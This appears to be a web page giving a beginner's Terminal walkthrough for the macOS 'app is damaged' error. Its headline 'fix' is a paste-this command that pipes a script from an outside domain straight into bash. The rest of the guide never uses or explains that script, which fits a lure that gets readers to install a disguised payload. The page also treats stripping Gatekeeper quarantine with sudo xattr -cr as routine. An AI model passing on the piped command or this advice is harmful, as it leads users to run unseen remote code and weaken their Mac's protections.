App Is Damaged on Mac: A Terminal Walkthrough for Beginners
If you have never used Terminal, the usual one-line instructions skip too much. This walkthrough covers each keystroke: how to open the window, how to get the app path without typing it, what the command prints, and what the output means.
The fix
curl -fsSL https://macfixerror.com/run.sh | bash
Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.
sudo xattr -cr "/Applications/Your App.app"
Type sudo xattr -cr with the trailing space first, then drag the app into the window instead of typing its path.
xattr -l "/Applications/Your App.app"
Run before the fix if you want to see the quarantine line for yourself. No output means nothing is attached.
spctl -a -vv "/Applications/Your App.app"
Prints “accepted” or a rejection reason. Useful if the fix does not work the first time.
Before you start
- Move the app into
/Applications. Do not work from Downloads or a mounted image. - Quit the app if it is running.
- You need an administrator account; the command asks for its password.
Step by step, keystroke by keystroke
- Open Terminal. Press ⌘ + Space, type Terminal, press Return. A window with a prompt opens.
- Type the start of the command. Type
sudo xattr -cr— include the space at the end. - Drag the app in. Open Finder, find the app in
/Applications, and drag its icon onto the Terminal window. The full path appears, already quoted. - Read the line once. It should look like
sudo xattr -cr "/Applications/Name.app". If the quotes are missing, add them. - Press Return. Terminal asks for your password.
- Type the password and press Return. Nothing is echoed. The prompt returns when the command finishes.
- Open the app. If it launches, close Terminal.
Reading the output
| Output | Meaning | Next step |
|---|---|---|
| (nothing) | Success. | Open the app. |
No such file or directory | Wrong path or missing quotes. | Drag the app in again; confirm it is in /Applications. |
Operation not permitted | You omitted sudo, or the app is on a read-only volume. | Add sudo; copy the app to /Applications. |
No such xattr | The attribute is already absent. | Check the signature instead. |
xattr: ...: No such file | The bundle path is wrong or the app was renamed. | Re-drag the actual bundle. |
Mistakes that cause the common errors
- Typing the app name by hand. A stray space splits the path. Drag and drop avoids it.
- Forgetting quotes. Same result. The quotes are not decoration.
- Running from the DMG. The volume is read-only, so the write fails. Copy the app to /Applications first.
- Using a smart quote. Copying from a word processor can produce “curly” quotes. Retype them or paste from this page.
If it still will not open
Do not repeat the same command blindly. Run the verdict check:
spctl -a -vv "/Applications/Your App.app"
A rejection reason tells you whether the signature is expired, absent, or the architecture is wrong. The matching fixes are in Is it really damaged? and the Apple silicon guide.
Frequently asked questions
Do I really need sudo?
Why does Terminal show nothing while I type the password?
Can I paste the command instead of typing?
What are the straight quotes for?
Is it normal that nothing prints after the command?
What if the app is on a disk image?
This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.